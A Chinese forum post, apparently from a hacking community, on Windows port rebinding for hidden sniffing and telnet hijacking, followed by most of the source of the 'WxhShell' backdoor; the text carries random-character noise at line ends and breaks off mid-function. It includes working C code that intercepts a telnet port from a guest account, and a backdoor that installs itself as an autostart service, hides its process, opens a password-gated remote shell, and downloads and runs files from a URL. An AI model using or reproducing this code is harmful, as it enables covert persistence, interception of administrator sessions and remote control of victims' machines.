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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =FXO1UZ!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); zTODV<-`  
|l)z^V!  
  saddr.sin_family = AF_INET; FsI51@V72Q  
B5'-v%YO+  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Gh3b*O_,  
}Gmwm|`*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); APydZ  
R"NR-iU  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !9yOFd_  
9ohaU  
  这意味着什么?意味着可以进行如下的攻击: cE3g7(a  
&jJj6 +P\  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $n |)M+d  
+AGI)uQQ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !g=2U`j^  
{C6,h#|pg  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 F Xbf7G)H  
@LQe[`  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  neN #Mo'A  
G.CkceWRn  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 C"`,?K(U  
6_KO6O7g  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 t= =+SHGP  
0q6$KP}q  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 l42 3+vo  
mQ# 0c_  
  #include `;?`XC"m  
  #include Pc"g  
  #include /G}TPXA  
  #include    cj=6_k  
  DWORD WINAPI ClientThread(LPVOID lpParam);   OjVI4@E;Xe  
  int main() @)"= b!q=  
  { o Ho@rGU  
  WORD wVersionRequested; Fp3NWvu  
  DWORD ret; -_<rmR[:]  
  WSADATA wsaData; *^|.bBG  
  BOOL val; >93I|C|  
  SOCKADDR_IN saddr; WS17DsWW  
  SOCKADDR_IN scaddr; &-l(nr]h]  
  int err; [FhFeW>  
  SOCKET s; IrIF 853g  
  SOCKET sc; ?]1_ 2\M  
  int caddsize; s/' ]* n  
  HANDLE mt; ;"gUrcuY  
  DWORD tid;   pAZD>15l"  
  wVersionRequested = MAKEWORD( 2, 2 ); ^5{M@o  
  err = WSAStartup( wVersionRequested, &wsaData ); >M`ryM2=D  
  if ( err != 0 ) { x=Ef0v  
  printf("error!WSAStartup failed!\n"); s2`:NS  
  return -1; ExJch\  
  } st91r V$y?  
  saddr.sin_family = AF_INET; rV *`0hA1  
   2D`_!OG=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &\w:jI44Bs  
m :M=De  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1m c'=S{  
  saddr.sin_port = htons(23); [PRQa[_  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8ux?K5_  
  { Y*}xD;c k  
  printf("error!socket failed!\n"); -UTTJnu^  
  return -1; }{3XbvC  
  } nqnVFkGd9  
  val = TRUE; OE{PP9 eh  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 2.6F5&:($  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 3G r:.V9=  
  { r]6X  
  printf("error!setsockopt failed!\n"); gk-g!v&  
  return -1; &_1Ivaen6  
  } -c_}^j  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; oZ CvEVUk  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -D?-ctFYj^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @)i A V1r"  
b~5Q|3P9  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) mrc% 6Ri  
  { .+.BNS   
  ret=GetLastError(); N51g<K  
  printf("error!bind failed!\n"); A7eF.V&  
  return -1;  *|OP>N  
  } J/-&Fa\(  
  listen(s,2); B'@a36  
  while(1) =x QLf4>  
  { 8D)I~0\  
  caddsize = sizeof(scaddr); AbXaxt/[g?  
  //接受连接请求 {(00,6M)i  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); K0YUN^St  
  if(sc!=INVALID_SOCKET) _,G^#$pH  
  { e [}m@a  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Gdi8Al]\Nl  
  if(mt==NULL) >U%:Nfo3  
  { D on8xk  
  printf("Thread Creat Failed!\n"); 76'vsg  
  break; 7K.in3M(  
  } >}?4;:.=  
  } +^@;J?O  
  CloseHandle(mt); $h)VKW^\  
  } 8Ev,9  
  closesocket(s); udjahI<{  
  WSACleanup(); Q*GJREC  
  return 0; d^.@~  
  }   n#.~XNbxv  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8B|qNf `Yi  
  { hU]Gv)B  
  SOCKET ss = (SOCKET)lpParam; p%?VW  
  SOCKET sc; eHt |O~  
  unsigned char buf[4096]; AVR=\ qR  
  SOCKADDR_IN saddr; |IgH0 zZ  
  long num; R, J(]ew  
  DWORD val; N8-!}\,  
  DWORD ret; fN h0?/3)  
  //如果是隐藏端口应用的话,可以在此处加一些判断 piy_9nk  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Wu\szI"  
  saddr.sin_family = AF_INET; d9E'4Zm  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); # $dk  
  saddr.sin_port = htons(23); kpQXnDm 2  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /HiRbwQK#  
  { <h vVh9  
  printf("error!socket failed!\n"); a-9Y &#U  
  return -1; .w@o%AO_  
  } ~\ C.Nm  
  val = 100; AlH\IP  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Gfbeh %  
  { FVw4BUOmi  
  ret = GetLastError();  q\xT  
  return -1; ZB|y  
  } vnrP;T=^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QsN%a>t  
  { j1sZRl)D  
  ret = GetLastError(); LKx<hl$O  
  return -1; b-Q%c xJ  
  } %~$P.Zh  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6(9S'~*'R  
  { lCznH?[  
  printf("error!socket connect failed!\n"); k>ERU]7[  
  closesocket(sc); 7w_cKR1;  
  closesocket(ss); #$ Q2ijT0  
  return -1; a7_&;  
  } 5VXI/Lw#  
  while(1) 6y4&nTq[  
  { UF$JVb  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <691pk X  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 7"iUyZ(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ap7ZT7KW  
  num = recv(ss,buf,4096,0); ~53uUT|B  
  if(num>0) 2^*a$ OJ  
  send(sc,buf,num,0); $^ wqoW%t  
  else if(num==0) HF\|mL  
  break; &/}reE*  
  num = recv(sc,buf,4096,0); Ns*&;x9  
  if(num>0) /&`sB|  
  send(ss,buf,num,0); Vp5i i]B4  
  else if(num==0) .>.B  
  break; X5V8w4NN  
  } ^/H9`z;  
  closesocket(ss); Kpx(x0^2  
  closesocket(sc); ?m RGFS  
  return 0 ; Q=+*OQV29  
  } YH 5jvvOI  
Rx}*I00  
:7&-<ae2  
========================================================== Wvg+5Q  
=[7[F)I~O  
下边附上一个代码,,WXhSHELL {[<o)k.A  
]V 4Fm{]  
========================================================== $0f(Gc|  
wTu_Am  
#include "stdafx.h" ;nDCyn4i]  
2Gw2k8g&  
#include <stdio.h> d5hYOhO[  
#include <string.h> PGE|){ <  
#include <windows.h> KTQy pv  
#include <winsock2.h> VN5UJ!$?J  
#include <winsvc.h> AxsTB9/  
#include <urlmon.h> Hw(_l,Xf  
Bc^%1  
#pragma comment (lib, "Ws2_32.lib") ^ |xSU_wa  
#pragma comment (lib, "urlmon.lib") 19r4J(pV  
mw[  
#define MAX_USER   100 // 最大客户端连接数 +kMVl_` V  
#define BUF_SOCK   200 // sock buffer z;#DX15Rj  
#define KEY_BUFF   255 // 输入 buffer ++HHUM  
TVVr<r  
#define REBOOT     0   // 重启 re$xeq\1P?  
#define SHUTDOWN   1   // 关机 #jc+2F,+{  
s5 P~feg  
#define DEF_PORT   5000 // 监听端口 KliMw*5(  
lVw77bZ  
#define REG_LEN     16   // 注册表键长度 h W<fu  
#define SVC_LEN     80   // NT服务名长度 8n[6BF);  
vjzpU(Sq#  
// 从dll定义API d,c8ks(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 24}?GO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ci}v+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vq.~8c1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ub(8ko:8$  
/|)VO?*D  
// wxhshell配置信息 g?}$"=B   
struct WSCFG { na5:)j4<  
  int ws_port;         // 监听端口 vLc7RL  
  char ws_passstr[REG_LEN]; // 口令 BeNH"Y:E  
  int ws_autoins;       // 安装标记, 1=yes 0=no kPt] [1jo  
  char ws_regname[REG_LEN]; // 注册表键名 <8JV`dTywC  
  char ws_svcname[REG_LEN]; // 服务名 >BDK?YMx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5)T=^"IHXi  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 w6-A-M6hD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 kvdiDo  
int ws_downexe;       // 下载执行标记, 1=yes 0=no IQ5H`o?[B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /9K,W)h_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N`G* h^YQ  
RSK~<Y@]q{  
}; \e=Iw"yd  
NB["U"1[^E  
// default Wxhshell configuration t7t?xk!2  
struct WSCFG wscfg={DEF_PORT, FE0}V}\=h  
    "xuhuanlingzhe", .[@TC@W  
    1, R>r@I_  
    "Wxhshell", TIs~?wb$  
    "Wxhshell", )*b dG'}  
            "WxhShell Service", j[^(<R8  
    "Wrsky Windows CmdShell Service", /|kR= ~  
    "Please Input Your Password: ", ="k9 y  
  1, ]YO &_#  
  "http://www.wrsky.com/wxhshell.exe", gJ; *?Uq(  
  "Wxhshell.exe" xb N)z  
    }; z ?3G`  
h.QsI`@f  
// 消息定义模块 k2"DFXsv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \1[=t+/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; aB=&XGV9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; U #u=9%'  
char *msg_ws_ext="\n\rExit."; 'aWrjfDy:  
char *msg_ws_end="\n\rQuit."; up# R9 d|  
char *msg_ws_boot="\n\rReboot..."; d(=*@epjR  
char *msg_ws_poff="\n\rShutdown..."; d4 Hpe>  
char *msg_ws_down="\n\rSave to ";  1\[En/6  
ja<!_^h=At  
char *msg_ws_err="\n\rErr!"; PNSV?RT*pG  
char *msg_ws_ok="\n\rOK!"; 8)NQt$lWp  
C1x"q9| \`  
char ExeFile[MAX_PATH]; ?!uj8&yyf  
int nUser = 0; kF1Tg KSd  
HANDLE handles[MAX_USER];  3ih3O  
int OsIsNt; 1TOT}h5  
Pl>BTo>p'  
SERVICE_STATUS       serviceStatus; DCv=*=6w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c2tf7fkH  
fcim4dfP  
// 函数声明 )P>}uK;  
int Install(void); _3pME9l  
int Uninstall(void); VssD  
int DownloadFile(char *sURL, SOCKET wsh); T3JM8  
int Boot(int flag); (3_m[N\F  
void HideProc(void); S4salpz  
int GetOsVer(void); y<h~jz#hkq  
int Wxhshell(SOCKET wsl); ib-)T7V`  
void TalkWithClient(void *cs); K [.*8  
int CmdShell(SOCKET sock); |5;:3K+  
int StartFromService(void); ,>AA2@6zMT  
int StartWxhshell(LPSTR lpCmdLine); T> !Y-e.q  
"1-gMob  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^L,Uz:[J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vi4lmkyh^  
A#&,S4Wi|  
// 数据结构和表定义 $GMva}@G`  
SERVICE_TABLE_ENTRY DispatchTable[] = 3YFbT Z  
{ ;b-d2R  
{wscfg.ws_svcname, NTServiceMain}, 0+iaO"%  
{NULL, NULL} qubyZ8hx  
}; jNC@b>E?~  
qgk-[zW#  
// 自我安装 KeGGF]=>  
int Install(void) Y*KP1=Md  
{ ~vL`[JiK  
  char svExeFile[MAX_PATH]; /'ukeK+'  
  HKEY key; ,drcJ  
  strcpy(svExeFile,ExeFile); /}ADV2sF  
Jn+k$'6 %#  
// 如果是win9x系统,修改注册表设为自启动 /`2t$71)  
if(!OsIsNt) { G]$.bq[v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $Y\-X<gRH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,WA[HwY-  
  RegCloseKey(key); N!TC}#}l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @ uF$m/g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q&@~<!t  
  RegCloseKey(key); uQ_s$@brI  
  return 0; 1B5 ]1&M  
    } [8h~:.d`  
  } `yvH0B -  
} *=KX0%3  
else { c:@lR/oe"  
k7R}]hq]""  
// 如果是NT以上系统,安装为系统服务 H;=JqD8`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); kgQyG[u  
if (schSCManager!=0) F s{}bQyQ  
{ HXg#iP^tv  
  SC_HANDLE schService = CreateService "lT>V)NB'  
  ( >X$I:M<L  
  schSCManager, xV}ybRKV  
  wscfg.ws_svcname, =_@Q+N*]|(  
  wscfg.ws_svcdisp, c[6=&  
  SERVICE_ALL_ACCESS, R|,F C'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z'V"nhL  
  SERVICE_AUTO_START,  Bm\OH#  
  SERVICE_ERROR_NORMAL, ,Qw\w,  
  svExeFile, ?%]?#4bkc  
  NULL, p?#%G`dm  
  NULL, g3h:oQCS  
  NULL, N+V_[qr#  
  NULL, sZ7RiH +I  
  NULL 8YLS/dN0 w  
  ); p&O-]o8  
  if (schService!=0) m`Dn R`+  
  { Cr;d !=  
  CloseServiceHandle(schService); XVRtfo  
  CloseServiceHandle(schSCManager); ;V:Cf/@@R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h{BO\^6x  
  strcat(svExeFile,wscfg.ws_svcname); ss4<s 5:y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'C")X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); LL}b]B[  
  RegCloseKey(key); Qk_Mx"  
  return 0; Kd%>:E*  
    } WokQ X"  
  } uTq)Ets3  
  CloseServiceHandle(schSCManager); Q*c |!< &e  
} bpv?$j-j  
} :{tj5P!S  
L(ni6-  
return 1; XY*KWO  
} |TE\]  
WER\04%D\m  
// 自我卸载 ;=ci7IT'  
int Uninstall(void) !P"=57d}"l  
{ /U1 jCLR'  
  HKEY key; {z j<nu  
xn`<g|"#  
if(!OsIsNt) { KDW=x4*p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ==W`qC4n?n  
  RegDeleteValue(key,wscfg.ws_regname); 8g!C'5  
  RegCloseKey(key); DdG*eKC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V1= (^{p8  
  RegDeleteValue(key,wscfg.ws_regname); N:yyDeGyW  
  RegCloseKey(key); j%Cr)' H?  
  return 0; ZR|cZH1}C  
  } h4 X>  
} }F;Nh7?  
} Wt8=j1>  
else { 4t<l9Ilp  
{k#RWDespy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |!=KLJUA  
if (schSCManager!=0) <s737Rl  
{ cYaf QyU  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); iO?Sf8yJ:  
  if (schService!=0) kl90w  
  { Jjgy;*hM  
  if(DeleteService(schService)!=0) { a| s64+  
  CloseServiceHandle(schService); V(LE4P 1  
  CloseServiceHandle(schSCManager); TiF2c#Q*y  
  return 0; ncy?w e  
  } &\_cU?0d  
  CloseServiceHandle(schService); sIZ|N"2]A*  
  } i H^Gv*  
  CloseServiceHandle(schSCManager); ?V>\9?zb  
} xr<.r4  
} 1sHaG  
.bT|:Q~@{  
return 1; J% t[{  
} |,G=k,?_p  
YV 5kzq  
// 从指定url下载文件 Wxxnc#;lv  
int DownloadFile(char *sURL, SOCKET wsh) fcC?1M[BP~  
{ nU6WT|  
  HRESULT hr; @A-^~LoP.  
char seps[]= "/"; \EC=#E(  
char *token; Gw;[maM!%`  
char *file; vG7aT  
char myURL[MAX_PATH]; \s[/{3  
char myFILE[MAX_PATH]; M-B-  
>cEB ,@~  
strcpy(myURL,sURL); iQI$Y]Y7  
  token=strtok(myURL,seps); b[MdA|C%j  
  while(token!=NULL) ;~>E^0M  
  { )L%i"=<Bdy  
    file=token; hjgxCSp  
  token=strtok(NULL,seps); oiS>:de%tc  
  } DsY$  
8#S}.|"?F  
GetCurrentDirectory(MAX_PATH,myFILE); mN9Uyz5G  
strcat(myFILE, "\\"); :cmQ w  
strcat(myFILE, file); ;goR0PN  
  send(wsh,myFILE,strlen(myFILE),0); N` DLIv8i;  
send(wsh,"...",3,0); cVR3_e{&H  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); MZ8jL,a^  
  if(hr==S_OK) l/JE}Eg(  
return 0; t!g9,xG<X  
else 2`o}neF{  
return 1; Jhyb{i8RR  
SseMTw:  
} RRNoX }  
v GF<  
// 系统电源模块 ~[CtsCiQ  
int Boot(int flag) n tfwR#j  
{ 4+V+SD  
  HANDLE hToken; `xhiG9mz~  
  TOKEN_PRIVILEGES tkp; kJJUu  
sp0j2<$a  
  if(OsIsNt) { qX GAlCq@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2g6G\F  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); sh6F-g  
    tkp.PrivilegeCount = 1; M# sDPT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tp3>aNj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \qrSJ=}t  
if(flag==REBOOT) { )m-l&UK  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) WJ{hta  
  return 0; o H/4opV  
} `J>76WN  
else { &~u=vuX  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $Yr'`(Cbc  
  return 0; q>~\w1%}a\  
} +q==Y/z  
  } RsYn6ozb  
  else { w2:!yQk_  
if(flag==REBOOT) { FA.h?yfr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3sk$B%a>Z  
  return 0; &AMW?vO  
} ]y'/7U+  
else { 1$q>\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ? [?{X~uq  
  return 0; S^GB\uJ  
} m[7i<'+S  
} x9#>0 4s  
AQ!FJ(X(  
return 1; [mSK!Y@u  
} ~HwY?[}!m  
8?GS:+  
// win9x进程隐藏模块 ,KlTitJl\+  
void HideProc(void) \(a9rZ9  
{ wl{Fx+<^3  
Ul?Ha{ W  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !@ml^&hP  
  if ( hKernel != NULL ) GfAt-huL(  
  { Ojkbv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ! af35WF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e&C(IEZ/N;  
    FreeLibrary(hKernel); -R,[/7zj  
  } J?XEF@?'G  
T/ CI?sn  
return; zaX!f ~;"  
} G 1{F_  
{4Q4aL(  
// 获取操作系统版本 Gd)@PWK  
int GetOsVer(void) wSp1ChS k  
{ k;p:P ?s5Y  
  OSVERSIONINFO winfo; >Au]S `  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %Ke:%##Y  
  GetVersionEx(&winfo); :\Z;FA@g(g  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h:[PO6GdX  
  return 1; VT1W#@`e-  
  else )-824?Nl:  
  return 0; k/vE|  
} H&6 5X  
29g("(}TK  
// 客户端句柄模块 p+ymt P F  
int Wxhshell(SOCKET wsl) w$H=GF?"  
{ vrsO]ctI  
  SOCKET wsh; t_ &FK A  
  struct sockaddr_in client; XljiK8q;%  
  DWORD myID; 8jxgSB",  
\xk`o5/{  
  while(nUser<MAX_USER) 6uQfe? aD  
{ Vtm5&-  
  int nSize=sizeof(client); {A4"KX(U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \GeUX <Fl  
  if(wsh==INVALID_SOCKET) return 1; 8#S|j BV  
h"KN)xi$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &yzC\XdA  
if(handles[nUser]==0) 6hSj)  
  closesocket(wsh); *k'oP~:fT  
else  OvU]|4h  
  nUser++; oUEpzv,J  
  } -p`hevRr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); WO*YBH@  
z2og&|uT  
  return 0; L<Q1acoZm  
} 3|%Q{U  
mFOuE5  
// 关闭 socket .eW}@1+[;  
void CloseIt(SOCKET wsh) |_a E~_  
{ .O'S@ %]  
closesocket(wsh); q@P5c  
nUser--; NA[yT  
ExitThread(0);  %"j<`  
} w :Fes  
gNl@T  
// 客户端请求句柄 *G$tfb(  
void TalkWithClient(void *cs) W,YzD&f=uS  
{ Os9xZ  
|UM':Ec  
  SOCKET wsh=(SOCKET)cs; 5bGV91  
  char pwd[SVC_LEN]; 2(LS<HqP[  
  char cmd[KEY_BUFF]; :{%6< j  
char chr[1]; <iiu%   
int i,j; QvK/31*QG  
qHg\n)R"x!  
  while (nUser < MAX_USER) { o`\l&jUNe  
V;ZyAp  
if(wscfg.ws_passstr) { /iNCb&[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =)"60R7{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w``t"v4  
  //ZeroMemory(pwd,KEY_BUFF); vn~DtTp/  
      i=0; gSK (BP|  
  while(i<SVC_LEN) { k&ujr:)5Y5  
e2;19bj&  
  // 设置超时 Nqp%Z7G  
  fd_set FdRead; <WtX> \]l(  
  struct timeval TimeOut; +bI&0`  
  FD_ZERO(&FdRead); ,ju1:`  
  FD_SET(wsh,&FdRead); XCoN!~  
  TimeOut.tv_sec=8; |HI =ykfI  
  TimeOut.tv_usec=0; 6T&6N0y+9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \TkBV?W  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Jz 'm&mu  
,*a8]L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8vz9o <I  
  pwd=chr[0]; EU TTeFp  
  if(chr[0]==0xd || chr[0]==0xa) { .l"_f  
  pwd=0; 8Z:NT_Ss  
  break; . [+ObF9=  
  } /"tVOv#  
  i++; ;2@MPx  
    } u2y?WcMv  
 .VuZ=  
  // 如果是非法用户,关闭 socket KQaw*T[Q3w  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q0jzng  
} {l.) *#O  
CspY+%3$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Xoml  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Fl]$ql   
E {4/$}  
while(1) { .<^dv?@  
p82&X+v/p  
  ZeroMemory(cmd,KEY_BUFF); }:5r#Cd  
cgc| G  
      // 自动支持客户端 telnet标准   "]JE]n}Ulg  
  j=0; GfD!Z3  
  while(j<KEY_BUFF) { EN` -- ^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b)(#/}jMkD  
  cmd[j]=chr[0]; Xgn^)+V:  
  if(chr[0]==0xa || chr[0]==0xd) { -uqJ~gD  
  cmd[j]=0; > YKvwbCf8  
  break; ^O6PZm5J}  
  } 25t2tj@S  
  j++; .T L0cfTo  
    } K SDo)7`  
? Sj,HLo@U  
  // 下载文件 r^n%PH <  
  if(strstr(cmd,"http://")) { U P GS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HZ5*PXg~  
  if(DownloadFile(cmd,wsh)) NwIl~FNK  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); c>:}~.~T  
  else yDWzsA/X  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z9cch- u~  
  } }?$d~]t)  
  else { ;yqJEj_m(  
I{JU<A,&  
    switch(cmd[0]) { `XB(d@%  
  @ >%I\  
  // 帮助 hdQ[=PH)  
  case '?': { `8\ _ ]w0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I{ ;s.2  
    break; I?lQN$A.E  
  } ^j[>.D  
  // 安装 }N#jA yp!  
  case 'i': { >#Y8#-$zc  
    if(Install()) UaiDo"i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _]E"hr6a  
    else \kF}E3~+#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (zwxrOS  
    break; WO/;o0{d\9  
    } Xnt`7L<L  
  // 卸载 \vT0\1:|i  
  case 'r': { ~!E% GCyFy  
    if(Uninstall()) T12?'JL^r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U O YM   
    else cAM1\3HWT"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Os?G_ziIB  
    break; <,(6*b  
    } mLd=+&M  
  // 显示 wxhshell 所在路径 6 K P  
  case 'p': { c|X.&<lX  
    char svExeFile[MAX_PATH]; br .jj  
    strcpy(svExeFile,"\n\r"); Fx~=mYU  
      strcat(svExeFile,ExeFile); *^bqpW2$q  
        send(wsh,svExeFile,strlen(svExeFile),0); "pa5+N&2-  
    break; KRd.Ubs -  
    } QKL5! L9`  
  // 重启 YC - -&66  
  case 'b': { Sir7TQ4B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?5K.#>{  
    if(Boot(REBOOT)) dB ?+-aE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x|<rt96 6A  
    else { KV k 36;$  
    closesocket(wsh); 0t*JP  
    ExitThread(0); x/ {  
    } yBXdj`bV  
    break; A7>0Pn%D3  
    } H^_[nL  
  // 关机 @aN<nd`q)  
  case 'd': { ;hA>?o_i(  
